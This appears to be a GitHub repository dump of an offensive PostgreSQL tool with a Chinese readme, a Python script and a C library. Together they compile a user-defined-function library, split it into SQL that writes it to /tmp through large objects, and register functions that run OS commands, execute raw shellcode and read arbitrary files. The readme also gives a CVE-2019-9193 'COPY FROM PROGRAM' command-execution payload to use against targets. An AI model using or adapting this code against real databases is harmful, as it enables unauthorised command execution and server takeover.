├── .gitignore ├── img ├── 1.png └── 2.png ├── readme.md ├── postgresql_udf_help.py └── lib_postgresqludf_sys.c /.gitignore: -------------------------------------------------------------------------------- 1 | push.sh -------------------------------------------------------------------------------- /img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/No-Github/postgresql_udf_help/HEAD/img/1.png -------------------------------------------------------------------------------- /img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/No-Github/postgresql_udf_help/HEAD/img/2.png -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # 使用 2 | 3 | 以 PostgreSQL 11.12 为例 4 | 5 | ```bash 6 | # 找相应的 dev 扩展包 7 | apt-get search postgresql-server-dev 8 | # 安装 dev 扩展包 9 | apt-get install postgresql-server-dev-11 10 | 11 | # 编译好 .so 文件 12 | git clone https://github.com/No-Github/postgresql_udf_help 13 | cd postgresql_udf_help 14 | gcc -Wall -I/usr/include/postgresql/11/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so 15 | strip -sx lib_postgresqludf_sys.so 16 | 17 | # 生成分片后的sql语句 18 | cat lib_postgresqludf_sys.so | xxd -ps | tr -d "\n" > 1.txt 19 | python2 postgresql_udf_help.py 1.txt > sqlcmd.txt 20 | ``` 21 | 22 | 效果 23 | 24 | ![](./img/1.png) 25 | 26 | 当然你要是嫌麻烦,可以看目标是否受 CVE-2019-9193 影响,直接打就是了 27 | ```sql 28 | DROP TABLE IF EXISTS cmd_exec; 29 | CREATE TABLE cmd_exec(cmd_output text); 30 | COPY cmd_exec FROM PROGRAM 'id'; 31 | SELECT * FROM cmd_exec; 32 | ``` 33 | 34 | ![](./img/2.png) 35 | 36 | ## 参考 37 | - https://github.com/sqlmapproject/udfhack 38 | - [渗透中利用postgresql getshell](https://jianfensec.com/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E6%B8%97%E9%80%8F%E4%B8%AD%E5%88%A9%E7%94%A8postgresql%20getshell/) 39 | 40 | --- 41 | 42 | > create by ffffffff0x 43 | -------------------------------------------------------------------------------- /postgresql_udf_help.py: -------------------------------------------------------------------------------- 1 | #~/usr/bin/env python2 2 | #-*- coding:utf-8 -*- 3 | import sys 4 | from random import randint 5 | number = randint(1000, 9999) 6 | 7 | if __name__ == "__main__": 8 | if len(sys.argv) != 2: 9 | print "Usage:python " + sys.argv[0] + "inputfile" 10 | sys.exit() 11 | fileobj = open(sys.argv[1],'rb') 12 | i = 0 13 | t = -1 14 | s = '' 15 | print 'SELECT lo_create({number});'.format(number=number) 16 | for b in fileobj.read(): 17 | i = i + 1 18 | s += b 19 | if i % 4096 == 0: 20 | t = t + 1 21 | print 'insert into pg_largeobject values ({number}, {block}, decode(\'{payload}\',\'hex\'));\n'\ 22 | .format(number=number, block=t, payload=s) 23 | s = '' 24 | t=t+1 25 | print 'insert into pg_largeobject values ({number}, {block}, decode(\'{payload}\',\'hex\'));\n'.format(number=number, block=t, payload=s) 26 | 27 | print 'SELECT lo_export({number}, \'/tmp/testeval.so\');'.format(number=number) 28 | 29 | print 'CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS \'/tmp/testeval.so\', \'sys_eval\' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;' 30 | 31 | print 'select sys_eval(\'id\');' 32 | 33 | fileobj.close() -------------------------------------------------------------------------------- /lib_postgresqludf_sys.c: -------------------------------------------------------------------------------- 1 | /* 2 | lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions 3 | Copyright (C) 2009-2010 Bernardo Damele A. G. 4 | web: http://bernardodamele.blogspot.com/ 5 | email: bernardo.damele@gmail.com 6 | 7 | This library is free software; you can redistribute it and/or 8 | modify it under the terms of the GNU Lesser General Public 9 | License as published by the Free Software Foundation; either 10 | version 2.1 of the License, or (at your option) any later version. 11 | 12 | This library is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 15 | Lesser General Public License for more details. 16 | 17 | You should have received a copy of the GNU Lesser General Public 18 | License along with this library; if not, write to the Free Software 19 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 20 | */ 21 | 22 | #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) 23 | #define _USE_32BIT_TIME_T 24 | #define DLLEXP __declspec(dllexport) 25 | #define BUILDING_DLL 1 26 | #else 27 | #define DLLEXP 28 | #include 29 | #include 30 | #include 31 | #include 32 | #endif 33 | 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | #include 40 | 41 | #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) 42 | DWORD WINAPI exec_payload(LPVOID lpParameter); 43 | #endif 44 | 45 | #ifdef PG_MODULE_MAGIC 46 | PG_MODULE_MAGIC; 47 | #endif 48 | 49 | char *text_ptr_to_char_ptr(text *arg) 50 | { 51 | char *retVal; 52 | int arg_size = VARSIZE(arg) - VARHDRSZ; 53 | retVal = (char *)malloc(arg_size + 1); 54 | 55 | memcpy(retVal, VARDATA(arg), arg_size); 56 | retVal[arg_size] = '\0'; 57 | 58 | return retVal; 59 | } 60 | 61 | text *chr_ptr_to_text_ptr(char *arg) 62 | { 63 | text *retVal; 64 | 65 | retVal = (text *)malloc(VARHDRSZ + strlen(arg)); 66 | #ifdef SET_VARSIZE 67 | SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); 68 | #else 69 | VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; 70 | #endif 71 | memcpy(VARDATA(retVal), arg, strlen(arg)); 72 | 73 | return retVal; 74 | } 75 | 76 | PG_FUNCTION_INFO_V1(sys_exec); 77 | #ifdef PGDLLIMPORT 78 | extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { 79 | #else 80 | extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { 81 | #endif 82 | text *argv0 = PG_GETARG_TEXT_P(0); 83 | int32 result = 0; 84 | char *command; 85 | 86 | command = text_ptr_to_char_ptr(argv0); 87 | 88 | /* 89 | Only if you want to log 90 | elog(NOTICE, "Command execution: %s", command); 91 | */ 92 | 93 | result = system(command); 94 | free(command); 95 | 96 | PG_FREE_IF_COPY(argv0, 0); 97 | PG_RETURN_INT32(result); 98 | } 99 | 100 | PG_FUNCTION_INFO_V1(sys_eval); 101 | #ifdef PGDLLIMPORT 102 | extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { 103 | #else 104 | extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { 105 | #endif 106 | text *argv0 = PG_GETARG_TEXT_P(0); 107 | text *result_text; 108 | char *command; 109 | char *result; 110 | FILE *pipe; 111 | char *line; 112 | int32 outlen, linelen; 113 | 114 | command = text_ptr_to_char_ptr(argv0); 115 | 116 | /* 117 | Only if you want to log 118 | elog(NOTICE, "Command evaluated: %s", command); 119 | */ 120 | 121 | line = (char *)malloc(1024); 122 | result = (char *)malloc(1); 123 | outlen = 0; 124 | 125 | result[0] = (char)0; 126 | 127 | pipe = popen(command, "r"); 128 | 129 | while (fgets(line, sizeof(line), pipe) != NULL) { 130 | linelen = strlen(line); 131 | result = (char *)realloc(result, outlen + linelen); 132 | strncpy(result + outlen, line, linelen); 133 | outlen = outlen + linelen; 134 | } 135 | 136 | pclose(pipe); 137 | 138 | if (*result) { 139 | result[outlen-1] = 0x00; 140 | } 141 | 142 | result_text = chr_ptr_to_text_ptr(result); 143 | 144 | PG_RETURN_POINTER(result_text); 145 | } 146 | 147 | PG_FUNCTION_INFO_V1(sys_bineval); 148 | #ifdef PGDLLIMPORT 149 | extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { 150 | #else 151 | extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { 152 | #endif 153 | text *argv0 = PG_GETARG_TEXT_P(0); 154 | int32 argv0_size; 155 | size_t len; 156 | 157 | #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) 158 | int pID; 159 | char *code; 160 | #else 161 | int *addr; 162 | size_t page_size; 163 | pid_t pID; 164 | #endif 165 | 166 | argv0_size = VARSIZE(argv0) - VARHDRSZ; 167 | len = (size_t)argv0_size; 168 | 169 | #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) 170 | // allocate a +rwx memory page 171 | code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 172 | strncpy(code, VARDATA(argv0), len); 173 | 174 | WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); 175 | #else 176 | pID = fork(); 177 | if(pID<0) 178 | PG_RETURN_INT32(1); 179 | 180 | if(pID==0) 181 | { 182 | page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size 183 | page_size = (len+page_size) & ~(page_size); // align to page boundary 184 | 185 | // mmap an rwx memory page 186 | addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); 187 | 188 | if (addr == MAP_FAILED) 189 | PG_RETURN_INT32(1); 190 | 191 | strncpy((char *)addr, VARDATA(argv0), len); 192 | 193 | ((void (*)(void))addr)(); 194 | } 195 | 196 | if(pID>0) 197 | waitpid(pID, 0, WNOHANG); 198 | #endif 199 | 200 | PG_RETURN_INT32(0); 201 | } 202 | 203 | #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) 204 | DWORD WINAPI exec_payload(LPVOID lpParameter) 205 | { 206 | __try 207 | { 208 | __asm 209 | { 210 | mov eax, [lpParameter] 211 | call eax 212 | } 213 | } 214 | __except(EXCEPTION_EXECUTE_HANDLER) 215 | { 216 | 217 | } 218 | 219 | return 0; 220 | } 221 | #endif 222 | 223 | #undef fopen 224 | 225 | PG_FUNCTION_INFO_V1(sys_fileread); 226 | #ifdef PGDLLIMPORT 227 | extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { 228 | #else 229 | extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { 230 | #endif 231 | text *argv0 = PG_GETARG_TEXT_P(0); 232 | text *result_text; 233 | int32 len; 234 | int32 i, j; 235 | char *filename; 236 | char *result; 237 | char *buffer; 238 | char table[] = "0123456789ABCDEF"; 239 | FILE *file; 240 | 241 | filename = text_ptr_to_char_ptr(argv0); 242 | 243 | file = fopen(filename, "rb"); 244 | if (!file) 245 | { 246 | PG_RETURN_NULL(); 247 | } 248 | fseek(file, 0, SEEK_END); 249 | len = ftell(file); 250 | fseek(file, 0, SEEK_SET); 251 | 252 | buffer=(char *)malloc(len + 1); 253 | if (!buffer) 254 | { 255 | fclose(file); 256 | PG_RETURN_NULL(); 257 | } 258 | 259 | fread(buffer, len, 1, file); 260 | fclose(file); 261 | 262 | result = (char *)malloc(2*len + 1); 263 | for (i=0, j=0; i> 4) & 0x0f]; 266 | result[j++] = table[ buffer[i] & 0x0f]; 267 | } 268 | result[j] = '\0'; 269 | 270 | result_text = chr_ptr_to_text_ptr(result); 271 | 272 | free(result); 273 | free(buffer); 274 | free(filename); 275 | 276 | PG_RETURN_POINTER(result_text); 277 | } 278 | --------------------------------------------------------------------------------